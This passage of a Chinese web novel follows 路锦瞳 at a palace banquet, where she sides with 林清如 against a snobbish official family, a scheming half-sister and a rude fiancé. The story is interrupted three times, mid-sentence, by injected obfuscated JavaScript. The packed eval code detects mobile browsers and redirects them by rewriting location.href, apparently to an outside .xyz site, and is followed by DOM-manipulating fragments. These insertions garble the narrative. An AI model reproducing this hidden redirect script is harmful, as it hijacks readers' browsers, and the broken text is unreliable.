路锦瞳轻轻摇头:“我们都是女人,就应该互相帮助,别再客气了。我得先走了,不然要赶不上了。” 天冬又谢几声,才道:“姑娘慢走。” 她躬身退下,单薄的身影消失在秋意萧瑟中,路锦瞳叹了口气,回身道:“知微,我们先过去。” 方才锦衣卫指挥使过来的时候,在外的贵女们都戴上了帷纱,楚知微自然也一样,后来思绪良多,她也就没摘下来。此刻轻纱覆面,随着步子带来的轻风起起落落,姣好的容貌半遮半掩,看得路锦瞳狗眼一亮一亮又一亮。 怎么可能不喜欢好看的姑娘呢?嘻嘻。 顾及着楚知微步伐慢,路锦瞳也刻意放慢了步子,她到底存了戒心,没有把全部的事情讲给楚知微听,特别是太后极有可能在利用她这件事。她和楚知微不过刚认识半日,还是别什么都说了,就算她长得再好看,基本的防备心还是要有的。 楚知微听她讲了个大概,有些忧愁的皱了眉头:“不论结果如何,姐姐这回,都是将人彻彻底底的得罪了。” 她没细数究竟是哪几个,不细数不是因为想要省略,也可能是她也不清楚路锦瞳究竟得罪了多少人,目前已知的是慎刑司嬷嬷和赵全,但她摸不清皇上的心思,谁知道她有没有将皇上也一起得罪了呢,就别说她此举可是把赵全拉下马了,宫里宫外和赵全有关系的人肯定不少,她让赵全完蛋,肯定也有人因为赵全的完蛋而完蛋,若要因此记恨上首先挑起事端的路锦瞳,那也是再正常不过。 想不到她进宫一趟,甚至宴会都还没开始,就已经招惹了这么多人。路锦瞳揉揉额角,来之前做的防止有人陷害的准备根本没用嘛,有人若想害她,也只是让她的名声更差而已,总不会一连串的得罪这么多人。 走了一会儿楚知微便累了,正巧前面有座亭子,她就想去稍微歇歇脚,没想到甫一踏上台阶,就听得旁边有人说话,路锦瞳伸头一瞧,见林清如和她的丫鬟正快步也往这边来。 她也听到声响,抬头时便与路锦瞳对视,见是她,不免有些尴尬。路锦瞳却还记着她方才的帮忙,朝她展颜一笑。 这一笑却给林清如整不会了,她僵了僵,随即吹了下眼,嘴巴也轻轻嘟了一下,还是抬步过来。 路锦瞳猜测她是小幅度的哼了一声来表示对路锦瞳的不满意,她倒是无所谓,按她的记忆来算,一共见了林清如两回,每次林清如说她这样那样的时候她都反驳回去了,讲话也算不上好听。而在原身的记忆中,折腾她的主力是叫沈清玥的姑娘,林清如每次也就是言语上怼怼,没做什么实质性的举动,原身嘴巴不饶人,她说什么也都会骂回去,两边都讨不到好。 但方才那些嬷嬷瞧不起她不许她插手案子的时候,也是林清如借着讥讽嘲笑的话语帮她争取了主动权,约莫是感谢她被吓傻的时候路锦瞳拉她的那一把。这就说明这姑娘不是那种坏人,原身原先也算不得友好,两个刺头遇见了吵起来无法避免,路锦瞳还是可以理解的。 树敌那么多,偶尔也该给自己刷刷好感了,不然到时候除了父母之外全是嫌弃她的,那可就太不美妙了。 林清如趾高气昂的走进来,趾高气昂的坐下,趾高气昂的用手撑脸,趾高气昂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15393328|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的把脸移开,似乎是并不打算主动和路锦瞳讲话。路锦瞳歪了歪头,上前两步:“林姑娘,方才多谢了。” 林清如总算转过脸来,用鼻孔看她:“谢什么?” “如果不是你的话,恐怕我都没有办法接手采兰的案子,天冬也会被慎刑司的嬷嬷带走吧。”路锦瞳说,“虽然说你是在说我的坏话,但我能听得出来你是想帮我。” 林清如没有傲娇的否认,而是道:“哼,本姑娘可没有想怎么帮你,是你先帮了我的,如果你今天没有拉我那一下,我才懒得管你。” “是是是,”路锦瞳敷衍,“你说得对,但是不管怎么样,都要谢谢你,你总不能一句谢也不让我说吧?” “不用谢,”林清如摆摆手,“你先帮了我,我这是不想欠你的,况且我说话也没有很好听,就当互相抵消了吧。” “行。”路锦瞳道。她没觉得累,自己在周围转悠起来,一会儿去摸摸树枝,一会儿去摸摸那些凋的差不多的花,楚知微休息的差不多了,便起身:“走吧。” 这么说着,她又道:“林姑娘,要一起么?” 林清如又哼了一声:“那就一起吧,可不是我要和你们一起的哦。” 路锦瞳:“……”她撤回刚刚那句话,林清如是个傲娇没错。 她们到的时候殿中人已经来的差不多了,许多官员已经在自己的座位上坐好了,宫女们整齐的站成一排,分别端了果酒菜肴依次上菜,乐队已然在殿中央开始吹吹打打,舞女随着韵律舞动,轻纱翻飞,像是从画中飞出的仙女。 “知微!”路锦瞳的目光正四处乱窜,就听得有人这么低声喊,语气凶得要命,她都被吓了一下。路锦瞳转过头去,见楚知微脸色突然难看起来,但还是乖乖道:“爹,娘。” 哦,原来是楚家父母啊。路锦瞳脸色扯了笑:“见过楚大人,夫人。” 结果他们夫妻两个连应都懒得应,脸色难看的吓人,丝毫不避讳路锦瞳:“你怎么跟她在一起?” 楚知微脸色发白:“爹,娘,女儿和路姐姐很聊的来,所以……” “你们有什么好聊的?她不学无术能跟你有什么共同话题?”楚璋都懒得听她把话讲完,干脆利落的打断,并且不许她继续说下去,“赶紧过来,离这种人远一点。” 楚知微道:“爹,你不要这么说,路姐姐她……” “你要反了是不是?还叫上姐姐了?为父怎么不记得有让你和她来往过?”楚璋吹胡子瞪眼。 楚夫人则负责做和事佬,她一把拉过楚知微,离路锦瞳远了些:“好了,和你父亲急什么?你父亲什么时候害过你?都说了让你少与这种人来往。” 话说的这样直白,声音还不算低,周围已经有人闻声看过来了,楚知微脸色有些难看,她脸都急红了:“娘,你不要再说了!” 48. 第 48 章 楚知微连忙转向路锦瞳:“姐姐,我代爹娘向你道歉,他们……” “道什么歉?”楚璋一只手就把楚知微扒拉了回来,他看向路锦瞳,仿若是瞧了什么脏东西一般,眉眼皱的紧紧的,“还是离路家姑娘远些的好,你可没她这样的神通。” 啊???不是,他有病吧? 路锦瞳知道她是商户女,朝臣一般都看不起她这样的,加上大周不许姑娘家在外抛头露面,她在决意跟着容筝跑案子时就想到这样的后果了,只是他没想到在皇家宴会这种场合他们也能这般不给人面子,她已然觉察到有更多人视线落到她身上来了,其中意味不言而喻。 路锦瞳向来不是个惯着人的性格,她也不怕楚璋会寻仇使绊子,但路家怕。她扫了楚知微一眼,见她满脸急色,要帮着解释什么,却被楚夫人拦住不许她多说,看向她的目光满是歉意。 算了吧,路锦瞳想。她要是怼回去,路家生意说不定会受影响,楚知微也不好受,一边是父母,一边是她,如果她往后想与她结交,那么心中定然不会爽快。 路锦瞳未在多说,也没有再看楚家人一眼,转头离开,顶着道道视线找属于自己的位子去了。 一连在殿里逛了两圈,路锦瞳都没找着自己的,要去问宫女,她们见了她也都像是老鼠见了猫,路锦瞳不知道她什么时候得罪了这些姑娘们,也不知道她现下的表情是否凶神恶煞,总之她像个瘟疫似的,走哪哪空一片,大家都明着孤立她。 上面的那些位子她没去看,那些都是重臣家眷该去的地方,肯定不是她能坐的,原本这些人看过来的目光就有揶揄,她若是不知好歹的爬上去仔细瞧瞧,指不定要被笑成什么样。虽说她脸皮厚,但还是有脸的,总这么丢也不是办法。 “喂,我说,”这时后头有声音传来,“不若你同我坐一桌?” 路锦瞳被这声音吓了一跳,她诧异转回头去,见林清如抱着手臂站在她后边,方才遇见楚家父母的时候她好像就一直跟在后头来着,只不过后面不欢而散后路锦瞳只顾着寻位子,完全把这号人忘了,没想到这位时常用鼻孔看人的姑娘居然还跟在后面,她在殿里绕了两圈她也就跟了两圈。 路锦瞳诧道:“你怎么还在这?” “你进过宫么?知道怎么找位子么?”林清如道,“楚知微走了,总得有个人继续给你带路吧,省得丢人丢到皇上面前去。今日大家可是都瞧见我帮你了,万一她们自动将我归类到你那里去,那嘲笑你的时候岂不是要连我也一起笑话上么?我可不能允许那样的事情发生,我还要面子呢。” 路锦瞳心说你和我大差不离的这么个人要什么面子?全京城谁不知道就咱俩最不要面子,名声最差? 这话是万万不能说出口的,路锦瞳还指望着她能给指指方向说说禁忌什么的呢。闻言便激动道:“真的么,那太好了。反正我也找不到我的座位,干脆和你一起也行……不过,你爹娘同意你和我坐一起么?如果不愿意的话也没关系,我再问问。” “问什么?”林清如突然发觉路锦瞳居然也这么婆婆妈妈,她有些不耐的提溜了路锦瞳的后衣领往座位那边过去。这姑娘手劲大得出奇,跟路锦瞳比起来也不遑多让,加上她也没怎么抵抗,轻轻松松就被拎过去了,林清如按着她往坐垫上一坐,自己也栽到另一个垫子上去,“话真是多,让你坐你坐就是了。” 路锦瞳左看看右看看:“你不和你爹娘坐一起么?” 按照她以往读小说的经验来看,女眷应该是和妹妹及母亲坐在一处的,可这张桌子偏小,做不下那么多人,单她们两个都有些挤的慌。 林清如皱眉:“你是真落水时脑子进泥沙了吧?这都瞧不出,你以前不是最喜欢拿这事讽刺我了么?” 什么事?路锦瞳一脸疑惑,林清如这话又触发了关键词,她这么一愣神的功夫,那些有关于她和林清如吵来吵去的记忆如排山倒海般涌进来。 路锦瞳扶额,她想起来了,林清如是林家嫡女不错,但在她很小的时候母亲就去世了,林家老爷没过多久就将一位妾室扶正,连同妾室的一双儿女,也荣登嫡子之位。 自那之后,京中便总有人传林家老爷宠妾灭妻,放着好好的嫡长女不好好管教,反而将更多的心血投入到刚扶正的小妾的孩子身上。也有人否认,说林老爷还是很疼林清如的,你看,这丫头闯了多少的祸事,林老爷却一句都未讲过,哪怕自家姑娘的名声坏的与路家那个偷鸡摸狗的齐名,他也还是大力支持姑娘闯祸。 但明眼人都知道,这名叫“宠爱”的实际含义是“捧杀”。 林清如无所谓的摸了个橘子吃:“这桌子就是母亲专程拜托皇后娘娘给我留的,她说我不喜欢与她们坐一起,更爱自己一个人待着,所以皇后娘娘就给了我单独一个位子咯。你放心吧,你和我坐在一起,笑话我们的只有其他人,我爹娘是决计不会讲我什么的,她们只会偷着乐,觉得我果然不负她们期望的那样,越来越堕落,她们巴不得我做离谱的事情更多些,这样更好衬出她女儿的美名。我自己这么做更容易让她们满意,不然她们还得费劲安排一些事让我上套,然后再干更多丢人的事。” 她说这话的时候满脸的不在乎,好像并不是在说她自己,而是在讲旁人的八卦似的。路锦瞳盯着她的脸看了又看,林清如被她看烦了,不耐道:“你看什么看?” 路锦瞳道:“我们两个的情况可不一样,我就算是再折腾,我爹娘都是真心疼我的,你爹可不同,他是叫人吹了枕边风,成心要毁了你,你就这么心甘情愿的入套,不打算反抗反抗?” 林清如瞧她一眼:“反抗有什么用?我一个人的力量,难不成还能和她们全府的人对抗?” 路锦瞳:“你这么多年就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415780|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个交心的人么?哪怕是个丫鬟也行啊?” 林清如用看傻子的目光看她,黑白分明的眼中明明白白写了五个字“你自己看呢”。 路锦瞳自己看了看,好嘛,除了那次茶楼碰见,这次入宫,林清如甚至都没带个丫鬟进来,谁家小姐不带丫鬟啊,连路锦瞳都有。 路锦瞳艰难道:“真的一个也没有啊。” 林清如不以为然道:“是啊,我培养一个她们就给我调走一个。怎么样,是不是后悔和我坐在一起了?现在后悔还来得及哦。” “可是我不和你坐在一起的话我连个位置都没有诶。”路锦瞳摊手,“对了,你刚刚说,你这个单独的座位,是你那后娘拜托皇后娘娘专门留出来的?” “是啊,”林清如道,“所以我也想问问你,你是做了什么得罪皇后娘娘的事么?还是得罪了跟她交好的家族,导致她连个你的座位都没有?” 路锦瞳是第一次进宫,林清如可不是,殿中都有谁的座位她可是能瞧得清清楚楚,又跟着路锦瞳绕了两圈,很清楚今天这偌大的殿中就是没有路锦瞳的桌子,哪怕是个坐垫也没有。可路锦瞳拉下马的分明是朱家,他们家和皇后是八竿子打不着的关系,皇后没必要为了他们出头啊。 赵全的事更不可能,眼下只万事俱备,她还未状告呢,皇后怎么可能会知道,就算知道了,这安排位子的事是早在前两天就要准备好的,总不可能在当天突然给撤了吧? 路锦瞳想了想:“没有啊。” 除了朱家,她其实还得罪了丞相家来着,可皇后和丞相家也没有什么关系,不应该啊。 林清如呵呵道:“你可真是越来越长进了。” 路锦瞳不解:“此话怎讲?” 林清如道:“原先得罪贵女,现在直接得罪官员,甚至进宫还要得罪皇上身边的大太监,你该不会是走哪就要把人得罪到哪吧?我现在有点后悔和你坐一起了。” 路锦瞳闻言连忙扒紧桌子:“晚了哦,我坐这里了那就不走了。不过,你之前在殿中也听到了赵全的事么?” 林清如默了默:“我发现,你变得比以前还要蠢。不对,准确的说,除了碰上案子的时候你脑子转的快,其余时候都像白痴。” 路锦瞳:“……” 太、太扎心了!但是又如此的一针见血。 路锦瞳记得她师傅也是这么说她的,破案时长了十个脑子,等案子过完了恢复正常生活,她那十个脑子就都不见了,问清什么情况呢,哦,原来先前那十个脑子是问人借的啊。 伤害性很大,侮辱性也很强。 她不自觉捂脸,随后又要与林清如大战三百回合,正打闹着,突听后头有轻柔柔的声音道:“姐姐?” 路锦瞳回头,见是一张不认识的面孔,应当不是在叫她,她看回林清如去,果然见她脸色难看下来。 49. 第 49 章 说这话的时候她面纱扬起一角,路锦瞳坐着的角度正好将她的脸全乎看清了。来人有一张与林清如相似的脸,只不过看着要更年轻一些。路锦瞳这个时候才有自己真的回到古代的真实感,她来了的这段日子总是跟那些大老爷们儿待在一起,除了身边几个之外都没怎么见过几个女的,现下在宴会上见了一堆,发觉这些孩子们都还年轻的很,在现代也就是初中高中的年纪。 这约莫就是林清如说的庶妹了,从方才的讲述中路锦瞳对这姑娘没什么好感,更何况林清如还在旁边坐着呢,她也不能点头打招呼,遂转了头去看林清如的脸。 林清玥便委委屈屈道:“妹妹知道姐姐不待见我,妹妹说几句话就走,姐姐别生气。” 也不知道她是不是在刻意夹着嗓子说话,反正路锦瞳是起了一身的鸡皮疙瘩,突觉浑身发凉,没忍住抚了抚手臂。 林清如道:“有话就说,说完赶紧走。” 她语气算不上好,还颇有些不耐,林清玥头轻轻一垂,不用看脸都能察觉到她身上的失落,路锦瞳正要赞上一声“好演技”,就有人闻讯过来,一个穿了锦衣的公子摇摇晃晃过来,手臂一抱,斜睨着林清如居高临下道:“我瞧你这许多年还是一丝长进也没有,这样的场合下依然对你妹妹冷眼相待,实在是给我们徐家丢人。” 说罢他侧头,光速换了张脸,对林清玥亲昵道:“林妹妹,对她这样的人不必有好脸色,她就是与谁坐在一起又与你有什么干系,总之坏名声的是她,你那个偏心眼的爹也不会因为你的告诫关照你,林家的名声不早就被她败坏了?” 林清如冷笑一声,当下拍案而起:“徐晟,你少在这儿给我阴阳怪气,我爹更偏心谁难道你瞧不出?在这装什么?” 路锦瞳听她说到后面明显带了颤音,垂在身侧的手也有点颤抖,明显有落下风的趋势,她抬手握住林清如的手腕,跟着站起身来:“二位有什么话要说就快说吧,一直站在这儿也是当了旁人的乐子,你们愿意被人当乐子瞧么?” 徐晟左右看了看,果真见不少人往这边看过来,他虽是官家公子,可这里到底是皇家宴会,比他家有权有势的多了去,他若是在这里吆喝一嗓子“看什么看”,只怕他回府后也不会好过。 徐晟哼道:“我们和她也没什么好说的,就是提醒一下,虽说她的名声够差,可到底还挂着林家嫡女的身份,少跟掉价的人待在一起,自己丢人不怕,别连玥妹妹的人也一起丢了。” 路锦瞳:“???” 敢情她这是吃瓜吃自己头上了,林清玥过来找茬就是以着她做借口的,她担心的事情果然没差,只是过来叫林清如离她远些的不是父母,是个绿茶妹妹。 林清如却道:“我愿意和谁待在一起就待在一起,关你什么事?又关她什么事?这是我的朋友,轮的着你们来指指点点?” 路锦瞳心头一暖,还没等感动,对面的林清玥就掉眼泪了,她抽泣着用帕子擦拭眼泪:“姐姐误会了,我没有那个意思,妹妹只是担心姐姐,姐姐的婚事将近,不能再这么下去了,否则,徐老夫人会不开心的……” 林清如明显没她能说会道,除了与你何干关你啥事就什么都说不出来了,路锦瞳无奈的叹气,难怪她与林清玥交手总是落于下风呢,这孩子来来回回只会说这么几句,嘴皮子不如人家利索,能赢就怪了。 反正她的名声也同样不好,这事又牵涉到她,路锦瞳向来不是个能忍的,特别是已经蹬鼻子上脸踩到她脸上的。她手上微微使力,把林清如往后面拉了拉,自己上前两步。 徐晟下意识往后倒腾了两下,路锦瞳想笑,但为了将严肃贯彻到底还是忍住了。原身从前可是以打架出名的,虽然没什么功夫,但胜在力气大,和有功夫底子的人对上自然不成,可对于徐晟这种养尊处优风一刮就倒的少爷,那是绰绰有余,难怪他会下意识的害怕。 路锦瞳道:“林妹妹,你方才,是在教训你姐姐吧?” “哦,不对,”她又摇了摇头,“不应该是教训,是教育,对么?” 林清玥一愣,当下忘了哭,她摇头:“怎么可能?我怎么敢教育姐姐?……” “没有么?”路锦瞳歪了歪头,“那我问你,徐老夫人是谁?” 林清玥无措道:“自然是徐大哥的祖母了。” 原来如此,路锦瞳看了徐晟一眼,难怪他敢这么理直气壮的教训林清如,原来是因为他是林清如的未来夫婿啊。她道:“将来要嫁进徐府的是你姐姐,要面对老夫人的也是你姐姐,她高不高兴关你什么事,你怎么管的这么宽?还说不是在教育你姐姐?” “我……”林清玥想要辩解。 “你什么你?”路锦瞳打断她,“长幼有序你不知道么?书都读到狗肚子里了?你姐姐是家中的嫡长女,你曾经作为一个庶女,对上你姐姐难道不应该尊敬有加么?你娘怎么教你的?有没有礼貌?” 天地良心,路锦瞳并不喜欢什么嫡庶有别的规矩,她也并不认同,说到底都是男人犯的错,女人却要为此争得头破血流。只是此番是林家人过分,林清如作为长女,不被父亲疼爱,还要被后娘和妹妹针对,里外联合败坏她的名声,她实在是看不下去了。 据她多年看小说的经验,一般这种续弦的夫人以及当过庶子的孩子,最怕的就是被人戳出来,还是于大庭广众之下,这简直就是把面子扔到地上踩,当着人打她的脸。路锦瞳太知道怎么刺人了,反正她也不是什么好人,别人讲她,或是身边朋友的不好,她就要不由分说的怼回去,之后的事之后再说,她现在得罪的人还算少么?多两个又不多。 帷帽遮着林清玥的脸,路锦瞳瞧不见她脸上的神色,但从她猝然抓紧帕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477970|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的手指来看,她确实是成功了。 徐晟皱眉:“你……” 路锦瞳根本不给他说话的机会,怼完林清玥下一个就轮他:“林清如将来是要嫁给你的吧?” 徐晟被她这一问整的哑了火,满脑子困惑,林清如和他的婚事全京城都知道,路锦瞳干嘛要明知故问?他这么迷瞪着,点了点头:“是啊,怎么了?我管自己未过门的妻子,干你何事?” “确实与我无关,但是吧,”路锦瞳道,“你自己都说了,是未过门的妻子,那就说明你们还没结婚呢,林清如还不是你们徐府的人,你急什么?还未过门你就敢在这么多人的地方教训你的未婚妻,那过了门还得了?你这样让谁还敢嫁到你家去?大伙说是不是啊?” 路锦瞳扬脸这么问了一句,众人都顾及着徐晟的面子不敢作答,路锦瞳也没指望着他们会回答,不回答并不代表不认同,人言可畏嘛,再加上徐晟当着这么多人的面对林清如指指点点,反而对她的妹妹关照有加,大家又不是瞎子,现下什么都不说,回去怎么议论那可谁也管不着。 “你!……你!”徐晟气得说不出来,扭头一看林清玥只知道在那哭,气得甩袖走了,林清玥也匆匆忙忙退场。路锦瞳哼了一声:“什么呀,原来战斗力也就这样,我还以为多难对付呢。” 她在这边大杀四方,骄傲的像只公鸡,一甩头正好与容筝对上了眼。容筝正与一个白发男子并立,也在往这边瞧热闹,眉眼间笑盈盈的,见路锦瞳看过来,还微笑着和她点点头。 “……”路锦瞳雄赳赳气昂昂的气势顿时蔫了,她有点不好意思的回了个笑,尴尬的原地坐下了。 怎么说呢,有种在熟人面前出风头的感觉,小小的尴尬,只有小小的一点,真的。 她扭头看了看闷闷不乐的林清如,拉着她也坐下:“快坐吧,别站着了,这个时候就要当作什么都无所谓的样子,不然人家还以为你被打倒了呢。话说,你平常和我干架的时候多牛啊,怎么现在干不动了?你扑腾我那劲儿呢?” 林清如藏在面纱下的嘴角用力抿了抿,像是压下去什么,还是不肯讲话,手指用力团吧掌心的拿点布料,好好的料子叫她揉的皱皱巴巴。 路锦瞳却不给她emo的机会,伸着脑袋在她四周探来探去:“不会吧,真的哭了?真的——哭了?” “……”林清如一巴掌把她的脑袋扒拉开,“你好烦。” 路锦瞳也不生气:“唉,我懂的,要是换成我的话,我也会难过的。没事,哭吧哭吧,姐的肩膀借你靠,现在哭个痛快,别晚上回被窝再掉小珍珠,那可没人安慰你哦。” 林清如怒道:“都说了没哭了!我才不哭!有什么好生气的!” “谁信啊~”路锦瞳阴阳怪气。 “啊啊啊我杀了你。”林清如恼羞成怒的扑了上去。